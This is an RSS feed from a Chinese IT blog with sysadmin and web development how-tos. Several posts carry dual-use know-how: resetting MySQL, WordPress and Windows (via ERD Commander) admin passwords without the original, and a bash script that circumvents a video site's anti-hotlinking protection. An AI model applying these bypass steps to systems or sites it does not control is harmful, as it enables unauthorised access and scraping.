<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title></title>
		<link>http://blog.is36.com/category//</link>
		<description>记录一个IT技术员的生活与技术</description>
		<copyright>Powered by SaBlog-X. Copyright (C) 2003-2009.</copyright>
		<generator>SaBlog-X Version Plus 2.0 Build 20090308</generator>
		<lastBuildDate>Mon, 06 Feb 2012 20:18:38 +0000</lastBuildDate>
		<ttl>30</ttl>
		<item>
			<guid>http://blog.is36.com/access_replace_char/</guid>
			<title>access批量替换字符</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p>需求：需要将某access数据库中A表中B列中所有行中的abc内容替换为xyz</p>
<p>操作过程：</p>
<ol>
    <li>使用Microsoft Access工具打开access数据库MDB文件</li>
    <li>在数据库窗口中，点击&ldquo;查询&rdquo;，或在&ldquo;视图&rdquo;菜单中选择&ldquo;数据库对象&rdquo;-&gt;&ldquo;查询&rdquo;</li>
    <li>点击数据库窗口中的&ldquo;新建&rdquo;按钮</li>
    <li>点击&ldquo;确定&rdquo;，关闭&ldquo;显示表&rdquo;窗口</li>
    <li>在工具栏左上侧右键，选择弹出菜单&ldquo;SQL视图&rdquo;，或在&ldquo;视图&rdquo;菜单中选择&ldquo;SQL 视图&rdquo;</li>
    <li>删掉所有的内容</li>
    <li>输入SQL更新语句：Update tabel(表名) SET fields(字段名) = REPLACE ( fields(字段名) ,'原内容','替换成的内容')&nbsp;<strong>本例中语句为：Update A SET B = REPLACE (B ,'abc','xyz')</strong></li>
    <li>点击菜单栏上的感叹号&ldquo;运行&rdquo;即可</li>
</ol>]]></description>
			<link>http://blog.is36.com/access_replace_char/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2012-02-01 15:26</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/php_list_all_files/</guid>
			<title>显示网站目录下所有文件的PHP程序</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p>一个简单的脚本，运行在PHP环境下，方便列出目录下的所有文件（以下代码为列出当前与脚本同目录的文件，可以自行修改opendir(&quot;./&quot;))这个相对路径达到显示其他路径下文件的效果）</p>
<p>
<ul>
    <li>&lt;?php</li>
    <li>&nbsp; &nbsp;echo &quot;&lt;li&gt;download files list&lt;li&gt;&quot;;</li>
    <li>&nbsp; &nbsp;if ($handle = opendir(&quot;./&quot;))</li>
    <li>&nbsp; &nbsp;{</li>
    <li>&nbsp; &nbsp; &nbsp; while (1)</li>
    <li>&nbsp; &nbsp; &nbsp; {</li>
    <li>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $ufile = readdir($handle);</li>
    <li>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($ufile == &quot;&quot;) break;</li>
    <li>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (($ufile!=&quot;.&quot;)&amp;($ufile!= &quot;..&quot;))</li>
    <li>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {</li>
    <li>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $tfile=iconv('GB2312', 'UTF-8', $ufile);</li>
    <li>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&lt;li&gt;&lt;a href='&quot;.$config_basedir_file.$tfile.&quot;'&gt;URL+&quot;.$tfile.&quot;&lt;/a&gt;&lt;/li&gt;&quot;;</li>
    <li>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</li>
    <li>&nbsp; &nbsp; &nbsp; }</li>
    <li>}</li>
    <li>?&gt;</li>
</ul>
</p>]]></description>
			<link>http://blog.is36.com/php_list_all_files/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2012-01-17 09:39</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/linux_bash_auto_download_script/</guid>
			<title>抛开体力劳动Linux下bash双重循环下载文件</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p><span class="Apple-style-span">需求：有一个网站，提供视频在线播放，视频格式为flv，视频路径直接写在网页源代码中，而视频路径每一次的请求都不一样，比如某个视频在</span>网页源代码中的地址为：<span class="Apple-style-span">http://url/dl/88bd09b075a2033d8b515fae13398253/4f0fa279/1.flv，</span>每一次刷新页面查看源代码，代码中dl后和1.flv之间的代码就会改变，系统这样生成的随机地址就是防盗链，而经测试，如果所生成的视频flv地址在经过三五分钟未经引用（播放），那么该地址就会失效，需要重新刷新页面获得地址，正因为如此，所以用不了迅雷，只能自己写个程序多线程一个个视频下载，每次下载前都是获得新请求到的视频地址。</p>
<p>基于此，在Linux下写一个bash程序，构造双重循环下载视频文件，考虑到系统自带的wget下载工具单线程太不给力，正冰简单写的这个就直接用了《<a target="_blank" href="http://vpsdog.com/article/88.html">Linux下多线程下载工具推荐：myget</a>》。</p>
<p>程序功能如下（程序命名为zb，以下同）：</p>
<ol>
    <li>先判断程序是否将下载列表跟到程序后面</li>
    <li>将下载列表里的下载网址取出</li>
    <li><span class="Apple-style-span">使用curl获取页面源代码并将flv一行的数据单独导出到tmp文件，这里填出该行数据：so.addVariable('file','</span>http://url/dl/88bd09b075a2033d8b515fae13398253/4f0fa279/1.flv<span class="Apple-style-span">');</span></li>
    <li>然后将视频完整地址通过sed命令提取出来并输出到tmp2文件</li>
    <li>调用mytget工具将tmp2中的视频地址进行多线程下载</li>
</ol>
<p>程序使用方法：</p>
<ol>
    <li>先使用vi编辑器将待下载的网页地址写入到一个文本中（建立待下载的下载列表），一行一个目标网址（这些网址可以使用类似火车采集器这类软件先批量抓取下来），保存为list文件名</li>
    <li>使用<strong>$./zb list</strong> 命令下载（多线程下载工具采用10线程进行下载，速度不错）</li>
    <li>等待程序完成下载</li>
</ol>
<p>程序代码：</p>
<p>
<ul>
    <li>if [ &quot;$1&quot; == &quot;&quot; ]; then</li>
    <li>&nbsp; &nbsp; printf &quot;need url list&quot;</li>
    <li>&nbsp; &nbsp; exit 1</li>
    <li>fi</li>
    <li>&nbsp;</li>
    <li>for x in $(cat $1)</li>
    <li>do</li>
    <li>&nbsp; &nbsp; curl $x | grep flv&gt;tmp</li>
    <li>&nbsp; &nbsp; cat tmp &nbsp;| sed &quot;s/\(.*\),'\(.*\)'\(.*\)/\2/g&quot;&gt;tmp2</li>
    <li>&nbsp; &nbsp; &nbsp; &nbsp; for y in $(cat tmp2)</li>
    <li>&nbsp; &nbsp; &nbsp; &nbsp; do</li>
    <li>&nbsp; &nbsp; &nbsp; &nbsp; mytget -n 10 $y</li>
    <li>&nbsp; &nbsp; &nbsp; &nbsp; done</li>
    <li>done</li>
    <li>&nbsp;</li>
    <li>rm -rf tmp*</li>
    <li>rm -rf $1
    <p>&nbsp;</p>
    </li>
</ul>
</p>]]></description>
			<link>http://blog.is36.com/linux_bash_auto_download_script/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2012-01-16 17:52</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/linux_wget_tool_download_website/</guid>
			<title>Linux下使用wget工具下载整站</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p>有时候为了方便模仿某些网站，需要使用下载整站工具把模板网站所有可索引（访问）的资源下载下来，并保存成与服务器相同的目录结构。</p>
<p>正冰给大家介绍一种简便的工具，那就是linux下的wget工具，使用方法：&nbsp;</p>
<p><strong>wget -r -p -np -k &nbsp;URL</strong></p>
<ul>
    <li>-r：在本机建立服务器端目录结构；</li>
    <li>-p: 下载显示HTML文件的所有图片；</li>
    <li>-np：只下载目标站点指定目录及其子目录的内容；</li>
    <li>-k: 转换非相对链接为相对链接。</li>
</ul>
<p>比如需要下载本站某篇文章的所有资源，网址为http://blog.is36.com/linux_wget_tool_download_website/</p>
<p>那么命令就是：wget -r -p -np -k&nbsp;http://blog.is36.com/linux_wget_tool_download_website/</p>
<p>也就是<strong>从当前页面开始</strong>镜像整个网站到本地，使用这个工具下载整站的好处是：下载的资源纯净（某些商业软件在未注册情况下会在网页里加版权）、方便；坏处就是单线程比较慢，只适合下载简单的网站。</p>
<p>当然，windows下也有wget工具，去搜索下载吧，下载后的使用方法跟linux下一样。</p>]]></description>
			<link>http://blog.is36.com/linux_wget_tool_download_website/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2012-01-10 14:55</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/linux_vps_magento/</guid>
			<title>Linux VPS快速搭建magento环境与迁移magento网站</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p>手头管理的某台VPS因为特殊原因不能继续使用了，挂在其上基于LAMP环境的magento网站需要迁移到新的VPS上，本文就magento程序的特殊性，记录一下新环境的快速搭建以及迁移magento网站。新VPS系统是centos 5 32bit，以下操作都是基于此。</p>
<p>首先为新VPS快速搭建运行magento程序必须的LAMP环境，首先安装：</p>
<p style="margin-left: 40px; "><strong># wget -c http://dl.wdlinux.cn:5180/lanmp_v20.tar.gz</strong></p>
<p style="margin-left: 40px; "><strong># tar zxvf lanmp_v20.tar.gz</strong></p>
<p style="margin-left: 40px; "><strong>#sh in.sh （选择1回车：apache + php + mysql + zend + eAccelerator + pureftpd + phpmyadmin）</strong></p>
<p>安装PDO_MYSQL扩展（magento必须）</p>
<p style="margin-left: 40px; "><strong># wget http://pecl.php.net/get/PDO_MYSQL-1.0.2.tgz</strong></p>
<p style="margin-left: 40px; "><strong>#&nbsp;</strong><strong>tar zxvf PDO_MYSQL-1.0.2.tgz</strong></p>
<p style="margin-left: 40px; "><strong>#&nbsp;</strong><strong>cd PDO_MYSQL-1.0.2</strong></p>
<p style="margin-left: 40px; "><strong>#&nbsp;</strong><strong>/www/wdlinux/php/bin/phpize </strong></p>
<p style="margin-left: 40px; "><strong>#&nbsp;</strong><strong>./configure --with-php-config=/www/wdlinux/php/bin/php-config --with-pdo-mysql=/www/wdlinux/mysql</strong></p>
<p style="margin-left: 40px; "><strong>#&nbsp;</strong><strong>make &amp;&amp;&nbsp;make install</strong></p>
<p style="margin-left: 40px; "><strong>#echo &quot;extension=pdo_mysql.so&quot;&gt;&gt;/www/wdlinux/etc/php.ini</strong></p>
<p style="margin-left: 40px; "><strong>#service httpd restart （重启apache使扩展生效）</strong></p>
<p style="margin-left: 40px; "><strong># /www/wdlinux/php/bin/php -m （通过此命令可以看到php所加载的扩展，包括pdo_mysql，有问题可以根据提示进行修改，比如路径错误导致找不到，则建立正确的扩展路径，错误修改后再次执行上一条命令</strong><strong>使扩展生效。</strong><strong>）</strong></p>
<p>lanmp_v20.tar.gz已经配置集成了<span style="background-color: rgb(255, 255, 0); ">rewrite规则与innodb存储引擎</span>的配置信息，方便了部署，所以快速完成环境搭建之后就可以开始迁移magento网站：</p>
<ol>
    <li>在新的VPS上建立与旧VPS一样的网站配置（网站、数据库、配置文件）</li>
    <li>将旧VPS与新VPS的mysql数据库停用，在旧VPS上打包mysql数据库：<strong>mysqldump -h localhost -uroot -p magento &gt; /root/magento_db.sql</strong></li>
    <li>采用最直接省事的scp工具进行迁移，因为旧VPS的ssh默认端口被我修改为2222，所以命令有所改变，先迁移网站：<strong>scp -r &nbsp;-P 2222 root@8.8.8.8:/www/web/magento/public_html/ /www/web/magento/public_html/</strong></li>
    <li>再迁移数据库：<strong>scp -r &nbsp;-P 2222 root@8.8.8.8:<span class="Apple-style-span" style="font-weight: normal; "><strong>/root/magento_db.sql&nbsp;</strong></span>/root/</strong></li>
    <li>将数据库导入：<strong>mysql -h localhost -uroot -p&nbsp;magento&nbsp;&lt;&nbsp;<span class="Apple-style-span" style="font-weight: normal; "><strong>/root/</strong></span>magento_db.sql </strong><span style="background-color: rgb(255, 255, 0); ">（之前测试过直接打包数据库迁移过来解压缩到数据库存储目录不成功，只能如此）</span></li>
    <li>启动新VPS上的mysql服务，将域名解析到新VPS，解析生效后测试网站是否正常</li>
</ol>
<p>迁移后的提醒：</p>
<ul>
    <li>迁移网站后如果无法正常访问，而是跳转到默认模板之类的情况发生，将网站的errors目录下的local.xml.sample修改为local.xml，刷新后就可以看到出错提示。</li>
    <li>网站使用了rewrite，但是打开产品页面却跳转404页面，那么就手动将magento的.htaccess传到网站根目录。</li>
</ul>]]></description>
			<link>http://blog.is36.com/linux_vps_magento/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2012-01-06 15:03</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/linux_mysql_password_recovery/</guid>
			<title>linux mysql密码遗忘丢失找回来的方法</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p>以下命令需要在root权限下执行：</p>
<p>首先要停止mysql服务，看一下mysql使用说明（启动、停止、重启、重启、重载、强制重载、状态），如下：&nbsp;</p>
<p style="margin-left: 40px; "><strong># /etc/init.d/mysql</strong></p>
<p style="margin-left: 40px; "><strong>Usage: /etc/init.d/mysql &nbsp;{start|stop|restart|reload|force-reload|status} &nbsp;[ MySQL server options ]</strong></p>
<p>停止mysql服务：</p>
<p style="margin-left: 40px; "><strong># /etc/init.d/mysql stop</strong></p>
<p>执行mysql下的mysqld_safe，跳过权限与网络设置启动（以便下一步无须权限就可以进入数据库操作）</p>
<p style="margin-left: 40px; "><strong># /usr/local/mysql/bin/mysqld_safe --user=mysql --skip-grant-tables --skip-networking &amp;</strong></p>
<p>使用mysql命令直接进入mysql数据库进行操作：&nbsp;</p>
<p style="margin-left: 40px; "><strong># mysql -u root mysql</strong></p>
<p style="margin-left: 40px; "><strong>mysql&gt; UPDATE user SET Password=PASSWORD('NewPassword') where USER='root';</strong></p>
<p style="margin-left: 40px; "><strong>mysql&gt; FLUSH PRIVILEGES;</strong></p>
<p style="margin-left: 40px; "><strong>mysql&gt; quit&nbsp;</strong></p>
<p>重启mysql服务使得mysql恢复正常运行：</p>
<p style="margin-left: 40px; "><strong># /etc/init.d/mysql restart</strong></p>
<p>尝试用新密码登陆操作：</p>
<p style="margin-left: 40px; "><strong># mysql -uroot -p</strong></p>
<p style="margin-left: 40px; "><strong>Enter password: &lt;输入重置的密码NewPassword&gt;</strong></p>
<p>简单几步，重置mysql密码。</p>]]></description>
			<link>http://blog.is36.com/linux_mysql_password_recovery/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2012-01-06 10:37</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/Can_not_connect_to_local_MySQL_server_through_socket/</guid>
			<title>解决Can't connect to local MySQL server through socket</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p>之前Mysql一直正常运行，重启之后打开网页就报错：Can't connect to local MySQL server through socket /var/lib/mysql/mysql.sock。</p>
<p>检查了一下这个位置发现并没有mysql.sock，而my.cnf中配置mysql.sock路径为/tmp/mysql.sock，netstat -nltp检查mysql却是正常运行的，说明mysql启动没有问题，奇怪了！</p>
<p>为了保障网站先正常运行，后续再找原因，这里给出一个快速解决方案（增加mysql目录，给mysql.sock做一个软链接）：</p>
<p style="margin-left: 40px; "><strong>mkdir /var/lib/mysql/</strong></p>
<p style="margin-left: 40px; "><strong>ln -s /tmp/mysql.sock /var/lib/mysql/mysql.sock</strong></p>
<p>然后去刷新出错页面，正常了。</p>]]></description>
			<link>http://blog.is36.com/Can_not_connect_to_local_MySQL_server_through_socket/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2011-11-16 10:14</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/determine_whether_the_IE_browser_by_php/</guid>
			<title>PHP快速判断客户端浏览器是否IE核心</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p><strong>代码如下：</strong></p>
<p style="margin-left: 40px; ">&lt;?php</p>
<p style="margin-left: 40px; ">if(strpos($_SERVER[&quot;HTTP_USER_AGENT&quot;],&quot;MSIE&quot;))</p>
<p style="margin-left: 40px; "><span class="Apple-tab-span" style="white-space:pre">	</span>echo &quot;IE&quot;;</p>
<p style="margin-left: 40px; ">else</p>
<p style="margin-left: 40px; "><span class="Apple-tab-span" style="white-space:pre">	</span>echo &quot;not IE&quot;;</p>
<p style="margin-left: 40px; ">?&gt;</p>
<p><strong>简单测试如下：</strong></p>
<p>IE：微软IE浏览器、360安全浏览器、搜狗高速浏览器</p>
<p>not IE：chrome、firefox、opera</p>
<p><strong>结论：</strong>判断快速准确，判断结果以IE核心为准</p>]]></description>
			<link>http://blog.is36.com/determine_whether_the_IE_browser_by_php/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2011-10-22 21:41</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/different_domains_iframe_can_not_get_cookies_in_IE/</guid>
			<title>解决IE浏览器跨域名iframe嵌套网页获取cookies</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p>问题产生的前因：A网站采用iframe框架形式嵌套了B网站的一个页面C，直接打开页面C会在本地保留一个cookie文件，而当采用A网站iframe框架形式嵌套后就无法成功生成cookie文件，该问题仅在IE浏览器环境下出现，firefox、chrome、Safari浏览器下没有问题。</p>
<p>造成该问题的原因：一个所谓的隐私首选项（简称为P3P）的W3C标准。只有在每一页上设置一个cookie发送头，才能允许Internet Explorer接受第三方Cookie。</p>
<p>换言之，只有在页面C上设置一个cookie发送头，那么A网站iframe框架形式嵌套后就可以在IE下成功获得页面C的cookie。</p>
<ul>
    <li><strong>PHP：</strong>header('P3P:CP=&quot;IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT&quot;');</li>
    <li><strong>ASP.NET：</strong>HttpContext.Current.Response.AddHeader(&quot;p3p&quot;,&quot;CP=\&quot;IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT\&quot;&quot;);</li>
    <li><strong>Django：</strong>response = render_to_response('mytemplate.html')<br />
    response[&quot;P3P&quot;] = 'CP=&quot;IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT&quot;'</li>
    <li><strong>JSP：</strong>response.addHeader(&quot;P3P&quot;,&quot;CP=\&quot;IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT\&quot;&quot;)</li>
</ul>
<p>本文解决方案参考了http://adamyoung.net/IE-Blocking-iFrame-Cookies</p>]]></description>
			<link>http://blog.is36.com/different_domains_iframe_can_not_get_cookies_in_IE/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2011-10-22 20:56</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/Warning_Cannot_modify_header_information_headers_already_sent_by/</guid>
			<title>解决Warning: Cannot modify header information - headers already sent by问题</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p>近几天正冰在测试有关跨域名cookies存储问题，在某个php测试页面里的header函数一直遭遇：Warning: Cannot modify header information - headers already sent by错误提示。为了解决该问题，翻山越岭地用google查询了相关资料，造成该问题的原因是：函数 header()，setcookie() 和 session 函数需要在输出流中增加头信息。但是头信息只能在其它任何输出内容之前发送。<strong>在使用这些函数前不能有任何（如 HTML）的输出。</strong>函数 headers_sent() 能够检查您的脚本是否已经发送了头信息。</p>
<p>来继续了解下原理：PHP脚本开始执行时，它可以同时发送header(标题)信息和主体信息。 Header信息(来自 header() 或 SetCookie() 函数)并不会立即发送，相反，它被保存到一个列表中。 这样就可以允许你修改标题信息，包括缺省的标题(例如 Content-Type 标题）。但是，一旦脚本发送了任何非标题的输出（例如，使用 HTML 或 print() 调用)，那么PHP就必须先发送完所有的Header，然后终止 HTTP header。而后继续发送主体数据。从这时开始，任何添加或修改Header信息的试图都是不允许的，并会发送上述的错误消息之一。</p>
<p>解决方案如下（须保证出错函数之前没有任何输出）：</p>
<p>1、如果说这条仅仅只是错误提示，并不影响你程序正常运作，那么只需要&ldquo;屏蔽&rdquo;它即可。在页面顶部的php标签中加入ob_start();，在返回的信息下面加入ob_end_flush();，这样就可以屏蔽错误信息。</p>
<p>
<p style="margin-left: 40px; ">&lt;?php ob_start(); ?&gt;</p>
<p style="margin-left: 40px; ">... HTML codes ...</p>
<p style="margin-left: 40px; ">&lt;?php</p>
<p style="margin-left: 40px; ">... PHP codes ...</p>
<p style="margin-left: 40px; ">header (&quot;Location: ....&quot;);</p>
<p style="margin-left: 40px; ">ob_end_flush();</p>
<p style="margin-left: 40px; ">?&gt;</p>
</p>
<p>2、反之要彻底解决，正冰是通过Notepad++先建立一个空白页面，然后将编码设置为Encode in UTF-8 without BOM，然后将出问题页面代码复制进去保存为一个新页面即可。</p>
<p><div class="attach"><a href="http://blog.is36.com/attachment.php?id=149" target="_blank"><img src="http://blog.is36.com/attachments/date_201110/thumb_140edc441421547304c6065a2d463482.jpg" border="0" alt="&#13;&#13;大小: 21.26 K&#13;尺寸: 300 x 196&#13;浏览: 13 次&#13;点击打开新窗口浏览全图" width="300" height="196" /></a></div></p>
<hr />
<p>因为正冰所测试的页面还有一个setcookie函数，这个也会导致这样的问题出现，简单摘录如下：cookie本身在使用上有一些限制，例如：</p>
<ol>
    <li>呼叫setcookie的叙述必须放在&lt;html&gt;标签之前</li>
    <li>呼叫setcookie之前，不可使用echo</li>
    <li>直到网页被重新载入后，cookie才会在程式中出现</li>
    <li>setcookie函数必须在任何资料输出至浏览器前，就先送出</li>
</ol>
<p>解决方法就是在程序开始用ob_start();这个函数。</p>]]></description>
			<link>http://blog.is36.com/Warning_Cannot_modify_header_information_headers_already_sent_by/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2011-10-16 15:36</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/find_wordpress_admin_password_with_phpmyadmin/</guid>
			<title>wordpress管理员密码忘记了用phpmyadmin找回来</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p>手头管理着多个wordpress搭建的网站，因为经常忘记密码而头疼不已。这不又忘了密码，还好有phpmyadmin，一条SQL语句马上改回来了。</p>
<p>进入phpmyadmin，选择数据库，然后修改wp_users表中对应的管理员的user_pass字段为5d41402abc4b2a76b9719d911017c592，就可以以hello作为密码登录了。</p>
<p>嫌麻烦的同学可以直接执行以下SQL语句，wp为数据库名，ID为第一个用户（即默认管理员）</p>
<p><strong>UPDATE &nbsp;`wp`.`wp_users` SET &nbsp;`user_pass` = &nbsp;'5d41402abc4b2a76b9719d911017c592' WHERE &nbsp;`wp_users`.`ID` =1;</strong></p>
<p>另外，phpmyadmin最新下载地址：<a target="_blank" href="http://www.phpmyadmin.net/home_page/downloads.php">http://www.phpmyadmin.net/home_page/downloads.php</a>，选择合适版本下载上传到空间上，用管理面板解压缩，然后就可以用了。</p>]]></description>
			<link>http://blog.is36.com/find_wordpress_admin_password_with_phpmyadmin/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2011-10-14 15:27</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/ERD_Commander_2005/</guid>
			<title>忘记了windows系统登录密码？用ERD Commander 2005改</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p>ERD Commander是一个程序组，它是该迷你版Windows XP上的主要应用程序（因此该光盘又叫做ERD Commander Boot CD），它提供的三类工具可以修复与挽救硬盘上已损坏的Windows系统（支持Windows 2000/XP/2003），无需重新安装，因此，该光盘也是一个系统维护盘，可以直接访问硬盘上的所有文件，还可以修改Windows的管理员密码。</p>
<p>正冰本次推荐的ERD commander 2005是易通汉化加强版，该版本登陆密码是Yitong ，首字母大写。另外有一款据说是汉化精简版的登陆密码是yitong2005。</p>
<p>软件使用比较简单，直接下载刻盘，然后从光盘启动。利用ERD Commander，无需原来的密码就可以轻松地修改包括管理员帐户在内的任何Windows帐户的密码。系统进入后点击&ldquo;开始&rdquo;菜单，选择&ldquo;系统工具&rarr;Locksmith&rdquo;，在弹出的向导对话框上选择需要修改密码的系统账号，然后输入两次新密码就可修改原来的密码，重启电脑以新密码登录即可。</p>
<p>迅雷下载：<a target="_blank" href="http://www.okeoa.com/mysoft/erd2005_cn_yt_0.9pro%a6%c2.iso">ERD commander 2005 易通汉化加强版</a></p>]]></description>
			<link>http://blog.is36.com/ERD_Commander_2005/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2011-10-10 15:16</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/archives/238/</guid>
			<title>845主板支持最大2G內存，安裝3根512M的，只识别1G？</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p>前因：虽然目前工作电脑Windows XP使用1G内存绰绰有余，但是安装了vmware workstation之后就不是那么回事的。用CPU-Z看了下硬件：Intel(R) Pentium(R) 4 CPU 2.80GHz，Intel i845PE芯片，技嘉GA-8PE667主板，有3根内存插槽，已使用2根。查询资料了解到该主板支持最大2G内存。拆开电脑，再添一根512M内存，但是不管怎么换着插，都只能识别1G，在确认内存和插槽都是好的并且再次开机使用CPU-Z检查能够正常看到3根内存插槽都有内存。</p>
<p>现象：任意插两根内存均能识别，插上第三根，只能识别靠近CPU那两根的容量。</p>
<p>结论：845的主板最多支持2根内存，单条1G的两根就支持！主板最多支持两根，预留一根！</p>]]></description>
			<link>http://blog.is36.com/archives/238/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2011-09-29 09:27</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/archives/236/</guid>
			<title>CentOS Linux下安装VNC</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p><span class="Apple-style-span">最近买了<a target="_blank" href="https://service.burst.net/aff.php?aff=2715">Burst.net</a>美国佛罗里达迈阿密机房的2台VPS做测试（</span>首月免费<span class="Apple-style-span">），一台windows 2003，一台</span>无桌面环境的纯净CentOS Linux 6.0 64bit，为了测试，在CentOS系统上安装了VNC服务。以下为安装全过程（适用于256M以上VPS）：</p>
<p><span class="Apple-style-span">1、安装桌面环境KDE与gnome</span>&nbsp;</p>
<p style="margin-left: 40px; "><strong>yum install kdepim</strong></p>
<p style="margin-left: 40px; "><strong>yum groupinstall gnome-desktop</strong></p>
<p style="margin-left: 40px; "><strong>yum install gnome-session</strong>&nbsp;</p>
<p>2、安装VNC、firefox浏览器以及Xorg（Xorg 是由 X.Org 基金会发行的开放源代码 X Window 系统实现中的 X 服务）</p>
<p style="margin-left: 40px; "><strong>yum -y install vnc vnc-server firefox x11-xorg</strong></p>
<p style="margin-left: 40px; "><strong>yum groupinstall &quot;X Window System&quot; &quot;GNOME Desktop Environment&quot; &quot;KDE (K Desktop Environment)&quot;</strong></p>
<p>3、配置VNC</p>
<p style="margin-left: 40px; "><strong>vncserver</strong></p>
<p>首次运行会要求你设定好VNC连接密码，程序会建立一个.vnc的目录，默认情况是/root/.vnc</p>
<p>4、杀掉所有VNC的进程、删除临时sockets、重新启动VNC服务</p>
<p style="margin-left: 40px; "><strong>pkill -9 vnc</strong></p>
<p style="margin-left: 40px; "><strong>rm -rf /tmp/.X1*</strong></p>
<p>然后编辑/root/.vnc/xstartup，将最后一行twm替换为gnome-session或者startkde</p>
<p>懒人可以直接用以下语句直接替换（<strong>执行任意一条即可，建议选择第一条稳定，但是占用内存较多，首次连接占用681M，同条件第二条占用343M</strong>）&nbsp;</p>
<p style="margin-left: 40px; "><strong>sed -i 's/twm/gnome-session/g' /root/.vnc/xstartup</strong></p>
<p style="margin-left: 40px; "><strong>sed -i 's/twm/startkde/g' /root/.vnc/xstartup</strong></p>
<p>替换完成后重启vncserver</p>
<p style="margin-left: 40px; "><strong>vncserver</strong></p>
<p>5、在windows或者linux桌面环境下使用VNC客户端去连接模板主机，默认情况下连接地址是：</p>
<p style="margin-left: 40px; "><strong>xxx.xxx.xxx.xxx:1</strong></p>
<p>可能遇到的问题：</p>
<p>1、连接上去后发现只显示桌面，木有任务栏，木有桌面图标</p>
<p>解决方法：到/root/.vnc/目录下找到log日志文件，打开查看以后会发现提示你如下错误信息&nbsp;</p>
<p><strong>gnome-session[****]: WARNING: Unable to find provider 'gnome-panel' of required component 'panel'</strong></p>
<p><strong>gnome-session[****]: WARNING: Unable to find provider 'nautilus' of required component 'filemanager'</strong></p>
<p>第一条是任务栏木有的错误，第二条是图标木有的错误，执行如下命令后再次连接即可&nbsp;</p>
<p style="margin-left: 40px; "><strong>yum -y install gnome-panel</strong></p>
<p style="margin-left: 40px; "><strong>yum -y install nautilus</strong></p>
<p style="margin-left: 40px; "><strong>pkill -9 vnc</strong></p>
<p style="margin-left: 40px; "><strong>rm -rf /tmp/.X1*</strong></p>
<p style="margin-left: 40px; "><strong>rm -rf /root/.vnc/*.log &amp;&amp; rm -rf /root/.vnc/*.pid</strong></p>
<p style="margin-left: 40px; "><strong>vncserver</strong></p>
<hr />
<p>另外，<strong>针对128M这样小内存的Linux VPS</strong>，采用《http://icodex.org/2010/03/centos最小化安装gnome和vnc/》的方法，简单摘录如下：&nbsp;</p>
<p>1.安装x-window桌面和Gnome环境先.</p>
<p>yum groupinstall &quot;X Window System&quot; &quot;GNOME Desktop Environment&quot;</p>
<p>2.添加中文支持和浏览器</p>
<p>yum -y install fonts-chinese firefox</p>
<p>3.安装tightvnc.</p>
<p>(CentOS 5 64Bit)</p>
<p>wget http://packages.sw.be/tightvnc/tightvnc-server-1.3.9-3.el5.rf.x86_64.rpm</p>
